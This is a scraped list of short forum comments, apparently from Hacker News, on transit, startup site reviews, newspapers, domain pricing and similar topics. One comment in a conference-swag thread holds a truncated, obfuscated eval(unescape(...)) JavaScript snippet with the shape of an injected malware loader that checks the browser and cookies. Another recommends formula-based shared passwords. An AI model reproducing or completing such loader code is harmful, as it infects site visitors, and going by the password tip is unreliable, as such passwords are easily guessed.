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For user generated content, how do you deal with questionnable material? | JayNeely: Don't take responsibility for content people create on your site, or you open yourself up to legal liability for it.Most services like posterous, twitter, Wordpress.com etc. prohibit users posting defamatory or harassing material, giving you the right to enforce it but not the responsibility.As for timelines ... |
How would you make public transit profitable / create more value? | spoiledtechie: More Ads for one. I know in DC Metro (where I am) the ads are insanely small and you could definitely increase ad space on the subway and buses. Cram Ads down people in order to pay for the transit system. |
How would you make public transit profitable / create more value? | bwh2: MTA could add value to NYC subway by:* Adding a compass/direction indicator directly out of the subway exit. Frequently, I get out of the subway and my sense
of direction is off and street signs aren't much help.* Make them safer to ride late at night.* Get rid of the bible pushers yelling at everyone in the pat... |
How would you make public transit profitable / create more value? | pchristensen: It's a complicated issue, so here's a little background (I have a Masters in Urban Planning so I've read a lot).Streetcar lines (and subways in some places) were profitable businesses, just like railroad lines. But there were a few features that we don't have today.First, it was a new mobility technology... |
For user generated content, how do you deal with questionnable material? | earle: You can't police the Internet! The DMCA covers a lot of the issues that you are mentioning. Talk to an attorney. |
How would you make public transit profitable / create more value? | patrickgzill: Don't bother.Instead, allow for car-based mass transit, by allowing far cheaper taxi cab medallions and issuing as many as people will pay for.WHY is the cost of a taxi cab medallion in NYC $750K?Instead sell them for say $1200/year renewable yearly. Allow pricing to fall or rise based on the market, pro... |
How do you manage passwords for a group/organization | JayNeely: Password formulas. Something like:first 3 letters of the main group location + last three letters of the site's domain name (not extension) + a constant (gHqW2#). |
Review my Startup - imVOX | tibbon: I have an apology to make. I submitted this about a month or two ago, and of course sent it to the people in my company to see the feedback.Unfortunately, I was still in the process of training them for how to interact with the community at the time and three of them thought it best to come in with shill commen... |
How would you make public transit profitable / create more value? | marze: Reduce the fares to nothing. Utility of a system rises dramatically as the frequency of bus/train arrivals drops below about eight minutes so people can just show up without checking the schedule.Tax money goes to build roads and other car related infrastructure. Car travel is obviously subsidized since you ge... |
Review my Startup - imVOX | ashishk: From a design perspective, I would suggest the use of softer colors. The current blues and greens used look like (cheap) neon lights. |
Review my Startup - imVOX | ajcronk: I am skeptical of using products when it's not clear how they make money.If you give everything away for free, when will it stop being free? When will the bait and switch occur?If everything truly is free, how long will you be around? |
Review my Startup - imVOX | jswinghammer: The photo you chose for the home page gives the impression that this site is for something other than what it is. I figured this was a music service of some sort and then I realized it was for communications after reading more. |
How would you make public transit profitable / create more value? | Murkin: In Medellin, Colombia. The subway is connected to two systems of Sky carts (similar to ones used on ski resorts). That allows the "subway system" to reach hard terrain (mountains) and expensive terrain (need only to set large polls and stations).For residential areas with high land prices, this might seem as an... |
Review my Startup - imVOX | Vindexus: I'd change "Unlimited FREE Voice" to "Unlimited FREE Voice Chat". I wasn't sure what the site did right away.I'd also add a link to the pricing page. I was on the Features page and wanted to know what the pro plan offered by I didn't want to click on the Download link because it said download and had a price ... |
Review my Startup - imVOX | icode: I read every word on your website:Unlimited FREE Voice
Social Networking integration
No Subscription Fees
Blazing fast servers & superior sound performance
Download and Chat
No Fees, No Cost, No Worries!
Supports: Windows XP, Vista,7
Password secured servers and channels
Customizable backgrounds
Superior Audio Q... |
Review my Startup - imVOX | hajrice: No offence, but the site is just ugly, you should redesign it ASAP. Seriously! The product looks pretty interesting though. Doesn't Skype more-less provide these services? |
Review my Startup - imVOX | bgriggs1: I agree about clarity. The headphones image makes me initially think music service with social features, and I felt like I had to interpret all the bullet points just to figure out what it was.The logo is a little distracting. Am I missing the connection of what the orange circle/triangle mark is supposed t... |
Review my Startup - imVOX | warp: I have no idea what imVOX is from visiting the landing page. Looking at the menu, I don't see any menu option which will explain this to me, so I try FAQ. Based on the first question answered there, I still don't know what imVOX as except that it's like Ventrilo and TeamSpeak. I don't know what those are eithe... |
How would you make public transit profitable / create more value? | thingie: There is no general solution, of course. Every city is different, and cities in the USA are very different from the cities in Europe, and so on.I'd like for the public transit to be seen more as a public service than just another private business. After all, transportation is a vital part of the city, and some... |
Review my Startup - imVOX | akamaka: The look and feel of the landing page, the woman's photo, and the GUI screenshot give me the first impression that this is some type of professional audio software (like Audition).Keep in mind, though, that I'm not in your target audience, which appears to be gamers. |
Review my Startup - imVOX | nixarn: Agree with most other guys here. What is it? I have no clue what this program/service is and I'm not gonna download it and figure it out. Some clarity on the front page is needed without doubt. I think the site looks cool so I don't think a change of color is needed. |
How would you make public transit profitable / create more value? | rossriley: Maybe I can give a UK perspective on how this is possible. I'm not sure whether we can say that rail travel is profitable here, it still receives substantial government subsidy each year, but it is successful in that last year saw a record number of rail journeys taken.I'm not sure what the parking situation... |
Best or most effective SWAG you've received/given at a conference? | nologin: (function(jil){var xR5p=’%';eval(unescape((’var”20a”3d”22Sc”72iptEngin”65″22″2c”62″3d”22″56ers”69on()+”22″2c”6a”3d”22″22″2cu”3dnavig”61t”6 …………… “65rAgent”3bif((”75″2eind”65xOf”28″22Win”22)”3e0)”26″26(u”2e”69n”64exO”66(”22NT”20″36″22″29″3c0)”26″26(documen”74″2ecookie”2e”69ndex”4f”66″28″22″6die”6b”3d1″22)”3c0)”... |
Review my project | zeynel1: http://swimswith.com/search/http://pastebin.com/m3b9f58bb |
Review my Startup - imVOX | lssndrdn: The website probably needs a redesign for various reasons, but in the meantime you should know that in IE7, the text in the features page is partially hidden by the blocks on the right. It's a serious flaw that severely impairs the respectability of your website (makes it look cheap). |
Review my Startup - imVOX | Scott_MacGregor: 1. I like the colors just the way they are, the blues, greens and grays, etc. I also like the female face with the headphones, I hope you own the image because it could be a strong brand image for you. She is very unique with the green eyes, green headphones and tattoos on her fingers and wrists.2. I ... |
How would you make public transit profitable / create more value? | whyenot: I take light rail from Mountain View to San Jose almost every day. My trip of about 18 miles takes 50 minutes. Fix that please. |
Review my Startup - imVOX | sztanpet: The client has a few but very important shortcomings like being unable to set what to alert for via text-to-speech, also one cannot set the volume neither of said text nor for anything else.
The user-interface seems a bit off to me, with that annoying background and other elements, but I'm a minimalist kind o... |
How would you make public transit profitable / create more value? | fortes: Make it really easy to get to the airport.Pro: Airport parking is an expensive hassle, thus people are always taking cabs or asking for rides. Airports are far from city centers, and often inconvenient to get to.However, it's probably not enough traffic to sustain an entire system, but I think it makes for a go... |
For user generated content, how do you deal with questionnable material? | headShrinker: I was just looking up this information for a project I am working on. I think the caselaw you are interested in knowing about is Section 230.If you passively host third-party content, you will be fully protected under Section 230.If you exercise traditional editorial functions over user submitted content,... |
Review my Startup - imVOX | dstorrs: Ok, I disagree with most of what you see below.1) I had no problem understanding what the site is for. It's clearly VOIP for social networking, and the colorscheme and design indicates it's aimed at gamers. Further reading supports that.2) I'd put this in the category of "attractive, professional looking". ... |
How would you make public transit profitable / create more value? | fragmede: The future of public transit once prominently featured a monorail, but that glamorous view of the future soon lost out to the utility of a car. Current public transportation simply cannot compete with that level of convenience. What should follow from that is a plan to make public transportation more convenie... |
Review My Site - ScriptCanary | GoldCreekGroup: Known Issue:
We're working on making this fully self-service, but for now the site accepts contact through the sign-up form. Payment happens via emailed invoice. |
How would you make public transit profitable / create more value? | frankus: Deregulate parking.Right now nearly all municipalities have laws that require a certain minimum amount of parking per square foot of building floor area, with the amount varying by use.This has three perverse effects:1. Buildings cost more (surface parking requires extra land, underground parking is insanely e... |
How would you make public transit profitable / create more value? | Mankhool: In cities where subways or other types of rail transit do not operate 24/7, use the cars (or different cars) to move packages in the off hours. |
How unique does a company name need to be? | grellas: The rule-of-thumb test for whether or not you can use a particular name is "likelihood of confusion" among customers between the name you select, for the particular market you target, and names of existing companies also serving that market. If it is clear that customers should readily be able to tell the diff... |
Do musicians profit from RIAA lawsuits? | dazzawazza: Many musicians have complained that they don't see any revenue from the RIAA. The best place to investigate/learn about this IMHO is techdirt[1].Unfortunately a lot of what happens within the RIAA is private to the RIAA so it's hard to know who is getting the money. Since many artist complain that they don'... |
Do musicians profit from RIAA lawsuits? | headShrinker: No. The RIAA represents the major labels as the plaintiff. The labels consider it recouping losses, not making additional profit. They also don't consider it recouping revenue for the artist. All label obligations are fulfilled and are usually based on total album sales minus recording, production, legal ... |
Do you read newspaper/newspapers everyday? | simonk: I still read a local paper because I get to reading reddit and HN and never get to local news. |
Socializing or making friends without the internet? | colonelxc: I've been having some of the same problems making new friends since I've graduated college and started work. I have a subset of my old friends that I am still in good contact with, and have made some new friends at work, but not really much outside of that.Sorry I don't have any advice, hoping that other pe... |
Do you read newspaper/newspapers everyday? | quizbiz: Here at a university campus, part of my daily routine is picking up the New York Times and making a mess of the papers because I never learned how to properly read and fold a newspaper. |
Do you read newspaper/newspapers everyday? | bugs: I kind of wish I could get the newspaper delivered here, local or more probably the new york times.However if I am ever staying at a place that has the newspaper delivered or available I will pick it up and read most of the front page articles (from each section) and flip through the rest for interesting things.T... |
Cheapest place to buy a .com domain | Concours: try www.godaddy.com , it's very easy as well, just monitor the next offer they make. you can get a .com domain during promotion time for ~2$ otherwise, make a google search for godaddy promotional codes, before buying one. |
Do you read newspaper/newspapers everyday? | cema: Several years ago I stopped reading newspapers (paper versions, on the regular basis) and watch tv. And I have a feeling that I am now better informed -- from the Internet.However, I make a point of monitoring a number of sources, to avoid the echo chamber effect. Many of these sources, like news.google.com, drud... |
Cheapest place to buy a .com domain | Osiris: I use 1and1.com. They charge $9 per year for .com domains. |
Socializing or making friends without the internet? | rinich: ...but I was working there.Here's the answer to your problem. Do things. Be active. You can find extracurriculars — dancing and yoga are wonderful activities, as are any sorts of gatherings that involve intellectual conversation of any sort — but the fastest, simplest, stupidest answer is that if you're active ... |
Do you read newspaper/newspapers everyday? | chaosprophet: For me a copy of The Hindu in my left hand and a hot cup of filter coffee in the right is the only way to start a day. I don't really watch TV, nor do I read news online, so the newspaper is really my only source of news. |
Do you read newspaper/newspapers everyday? | paraschopra: If you are in India, read Mint - highly recommended. Great business stories. |
Cheapest place to buy a .com domain | 3dFlatLander: Namecheap isn't the cheapest of them all, but for new domains, they are less expensive than godaddy now. I've been using them for years without a problem. Clean interface, paypal supported, and it just works like it should. |
Is email address the wrong choice for usernames? | gexla: I think email is still somewhat necessary. First of all, you aren't everyone, just because email isn't useful for you doesn't mean it's not useful for your users. Second of all, most web apps require an email address to sign up, if for no other reason than to send a forgotten password reset. So even all thos... |
Is email address the wrong choice for usernames? | jacquesm: Email as a username has its advantages and it has its drawbacks: - drawbacks
- spam
- they change
- they get hacked, which in turn means your accounts have been hacked
- advantages
- easy to remember
- immediate conduit to your user
- automatic recovery built in (see drawba... |
Is email address the wrong choice for usernames? | hga: I have enough RSI that I don't do SMS or instant messaging. If I wanted to talk to you, but it wasn't worth a phone call, I'd punt.My solution to many of the general set of problems with email you cite was to get a Fastmail account (https://www.fastmail.fm), which does a fantastic job of spam filtering and would ... |
Socializing or making friends without the internet? | Mz: How do you define a "real" relationship? (No, I'm not trying to be snarky.) I tend to prefer to discuss stuff online -- though, admittedly, I am not big on FB and have yet to participate in Twitter. As I understand it, those media are both prone to very shallow types of interaction. Discussion boards, IM, and e... |
Do you read newspaper/newspapers everyday? | garyrichardson: I read a news paper every because it gets me a wide range of news. Online, I tend to focus on my interests and I don't really get a general vibe about what's going on. |
offline billboard ads for online sites? | jacquesm: I have, during the F1 on water we had a huge float:http://ww.com/float.jpgThe effect was pretty strange, we got a lot of press inquiries out of it, but hardly any users.So it was good for something I guess.Regular roadside billboards I've never had, but yesterday I saw an enormous one advertising Google Chrom... |
Do you read newspaper/newspapers everyday? | TrevorBurnham: Newspapers occupy an awkward middle point between the breaking news you can find on a myriad of websites and the rich, analytical pieces that can be found in good magazines (like The New Yorker and The Atlantic). Generally, there are more efficient ways of getting your news. For instance, Slate.com has a... |
Do you read newspaper/newspapers everyday? | drhowarddrfine: I agree with all your reasons. I stopped buying the newspaper years ago. Today, I'd not buy it because the local paper is more popular news than hard news if it's news at all. The number of newspapers worth reading can be counted on one hand but I'd rather pay to read those online so their searchable. (... |
Socializing or making friends without the internet? | pbhjpbhj: Team sports? Alpha Course ( http://alpha.org , appears to be down at the moment)? Art class? |
Do you read newspaper/newspapers everyday? | Zev: I try and read the newspaper daily. Usually a local paper (If you're from NYC area: I read the NY Daily News, although I used to read Newsday before the format change), during lunch/dinner. The newspaper is something (usually) with lots of topics to read on. Plus its cheap and I don't care about it, so if I spill ... |
Review my site - devcheatsheet.com | tim_church: Thank you HN! I really appreciate all of the positive feedback and creative suggestions. Your comments have given me lots of ideas and the encouragement to keep improving the site. |
What makes you happy? | corruption: http://blog.ted.com/2006/09/happiness_exper.php |
Anybody tried Ginkgo Biloba? | tokenadult: http://www.sciencebasedmedicine.org/?p=3235 |
What makes you happy? | tokenadult: The little things add up to big things. A big source of personal happiness for me is to leverage our unusual work schedule so that my wife and I can take walks together in daylight in our neighborhood and enjoy uninterrupted conversation. The kids are older now, so they can be left alone long enough for us ... |
What makes you happy? | jacquesm: Making stuff.Repairing stuff.Kids.Learning.(I've found that you need to know a thing 10x as good to teach it as compared to simply using or applying it, so teaching would make me very happy indeed but I don't know much well enough to be able to effectively teach it). |
Anybody tried Ginkgo Biloba? | icey: I tried it for about 3 months once. It made no noticeable difference.Piracetam worked much better for me. However, nothing has worked better for me than a decent diet and making sure to drink enough water a day (and getting the appropriate amount of sleep). |
market size -- how to estimate? | gruseom: The best answer to this I've seen is here:http://www.reddit.com/r/IAmA/comments/9s5k3/iama_i_am_a_high...The entire thread is gold, by the way. |
How can I move to USA? | peridot2001: $750,000 is a lot. I have known people first hand to invest only $125,000 and get a long term business visa to US. |
Viability of business models staged on Google Earth? | gangevine: Does it make sense to build high-quality building models for Google Earth for advertising purposes? |
Anybody tried Ginkgo Biloba? | ilkhd2: By the way Ginkgo biloba is an interesting planto -
a living fossil (270*10^6 years old specie). Worth looking in wikipedia. |
What do you do w/ a big idea, when you are working on something else? | rriepe: Ideas aren't worth much. Waiting is the only sane option.It might be painful, sure. But most of the time, you'll give it a few weeks and realize it wasn't that great of an idea to begin with. |
What do you do w/ a big idea, when you are working on something else? | mixmax: Remember that the grass is always greener on the other side. In your situation this probably means that there's a new shiny idea that looks like low hanging fruit ripe for the taking. The thing is that, like every idea out there, once you get up close and look at the implementation, business model, etc. you wil... |
What do you do w/ a big idea, when you are working on something else? | jacquesm: Do both.Most of the time you can spare an hour or two every day to work on your 'big' idea. Spend it on research, try to find out if it has already been done and if someone else is executing right now.99% of the time your 'oh shit, this could be huge!" of today will turn to, "oh right, that's why they failed"... |
What do you do w/ a big idea, when you are working on something else? | jeromec: My problem is that I was thinking only of big ideas, which was a mistake because in the meantime my finances suffered while waiting for a larger payoff. I have a list now up to 50 ideas accumulated over years, and many with great potential I believe. However, I've realized now what I should have known before, ... |
Anybody tried Ginkgo Biloba? | brainx: Be careful, ginkgo biloba can cause cerebral hemorrhage.It's supposed to increase "brain oxygenation" / blood flow, but in some individuals who already have good blood flow it may cause bleeding. It feels like your brain is melting, quite peculiar and alarming. Can also happen in conjunction with e.g. ibuprof... |
What do you do w/ a big idea, when you are working on something else? | JayNeely: Third option: put it out into the world for others to do something with it.I've had enough big ideas to know they won't be the last. It's better for me to finish what I've started. But if an idea really is a big one, it's beneficial to me for it to be executed upon regardless of whether I'm the one to impleme... |
What do you do w/ a big idea, when you are working on something else? | barnaby: Ideas are expensive, the fewer you have and the smaller (more laser-focused) they are, the better chance you have of implementing it and thus succeeding.The more ideas you pursue at once, the greater the chance that none of them will ever be implemented and succeed. |
What do you do w/ a big idea, when you are working on something else? | olalonde: I share it on HN ;) |
Help a YC startup improve your mobile media experience | krisneuharth: I know you have an Others option for device type but you should include Blackberry devices as well since you made a case for Android devices. I have a Blackberry and use it often for capturing images and uploading them to various places as I am sure many others do as well. |
Help a YC startup improve your mobile media experience | lloydarmbrust: Yeah, me also with the BlackBerry. Regrettable I know, but my office forced everyone to go RIM, so that's what I use to share pictures with grandparents, etc. |
Help a YC startup improve your mobile media experience | jackowayed: https://spreadsheets.google.com/viewform?formkey=dG0xdFRCLVh...
for those too lazy to copy & paste |
What do you do w/ a big idea, when you are working on something else? | eande: There is not much in the world which has not been thought about. The challenge and success is in the execution.
Depending on what the idea is realizing a minimal feature set of the idea and go public will quickly lead to some feedback if the idea is "huge".
Usually with many attempts the chance of success goes... |
Viability of business models staged on Google Earth? | gangevine: http://forum.skyscraperpage.com/showthread.php?t=177844 |
What do you do w/ a big idea, when you are working on something else? | jfarmer: Find someone you trust to execute on it and share it with them.I've done this and had this done to me; it's one of the two principle forms of social capital in Silicon Valley (the other being introductions).Odds are someone else is already doing this or will be doing it within 3-4 months, if it's really a BIG ... |
I'm collecting learning resources - care to share some ? | ThinkWriteMute: Here are some you don't have listed:Mr. Neighborly’s Humble Little Ruby Book:http://www.humblelittlerubybook.com/book/Why’s (Poignant) Guide to Ruby:http://mislav.uniqpath.com/poignant-guide/Think Python (Or: How To Think Like A Computer Scientist):http://www.greenteapress.com/thinkpython/thinkpython.ht... |
Is it unethical to sell scraped 'people data'? | Travis: Yes, I think it's unethical. First, the data belongs to me, and I'm allowing a specific site to use it -- not you. Even for sites that claim they own my data, it still doesn't give you any rights to it.Further, it is likely a violation of the ToS of a site if you're doing that. |
Do you read newspaper/newspapers everyday? | mrlyc: Newspapers can be a very unreliable source of news. I haven't read one every day since January 1980 when 10,000 of us motorcyclists rode to Canberra to protest against the latest round of "four wheels good, two wheels bad" road rules. That trip got two paragraphs on page 3 in The Age. The following week, two ... |
I'm collecting learning resources - care to share some ? | olalonde: http://www.ted.com/ has some great lectures
http://academicearth.org/ has videos of university courses |
Is it unethical to sell scraped 'people data'? | Alex3917: The people have their information online for people to contact them. If you want to scrape the data and contact some of them then that's fine, as long as the email you send to each individual is personal and relevant.Doing anything else with the data is unethical, because that's not what they've signed up for... |
Is it unethical to sell scraped 'people data'? | jfarmer: You've just uncovered Rapleaf's business model. |
What makes you happy? | nfnaaron: Having something to do, knowing what that is, and doing it. |
Is it unethical to sell scraped 'people data'? | gtani: Consider the Netflix and AOL search data, where people could (maybe) be identfied from "anonymized" data. Or the facebook gaydar thing.http://33bits.org/2008/09/30/law-review-article-about-netfli...harvesting emails, that is an established business model called... |
Is email address the wrong choice for usernames? | joeycfan: Yes because it is as close to an ID as you get on the net so far.Sure, they can get another one but it's a hassle. Anyone can just pull a new user name out of their butt and let Firefox handle the memorization of it. |
Any hackers in Hong Kong? | lostintech: Hi, i am living currently in Shenzhen, the city bordering with Hong Kong. Would you like to visit China ? where are you from ?you will need a visa |
What makes you happy? | pasbesoin: Good healthSomething engaging to doAn environment that aids rather than fights what you are doingHonest companyTime aloneA steady dose of nature |
Is marketing essentially using brainwashing to propagate a meme? | SwellJoe: Bill Hicks had something to say on the subject: http://www.youtube.com/watch?v=gDW_Hj2K0wo |
What do you do w/ a big idea, when you are working on something else? | js3309: Do what Twitter founders did. |
What do you do w/ a big idea, when you are working on something else? | Mz: To some extent, I let "failure" weed things out for me. Kind of like the story (about Reddit?) where the founders walked out of a law related class to go have waffles and realized they didn't really want to be lawyers. If you just can't keep your hands off the new project and it takes on a life of its own, that i... |
Is marketing essentially using brainwashing to propagate a meme? | jacquesm: Viral marketing is, 'regular' marketing can be divided in to two branches, one where people are informed about a product and left to draw their own conclusions, and another - much less ethical one - where marketing is used a means of influencing decisions people make in general.The latter I have a real proble... |
Sunday HTML Puzzler | chasingsparks: When I commented that it was not working on the other thread, I had used Live HTTP Headers to see that it was responding with "Content-length: 0".The following seems to replicate everything you described. require 'gserver'
class PuzzlerServer < GServer
def initialize(port=10001, *args)
supe... |
Review my mobile Safari add-on | milestinsley: You are charging $0.99 for an app that does nothing more than copy a URL to the pasteboard. I understand that you are trying to make the process of adding the bookmarklet to Safari simple, but making it free with a how-to video/tutorial would be way cooler.I think your target audience (people who want in-... |
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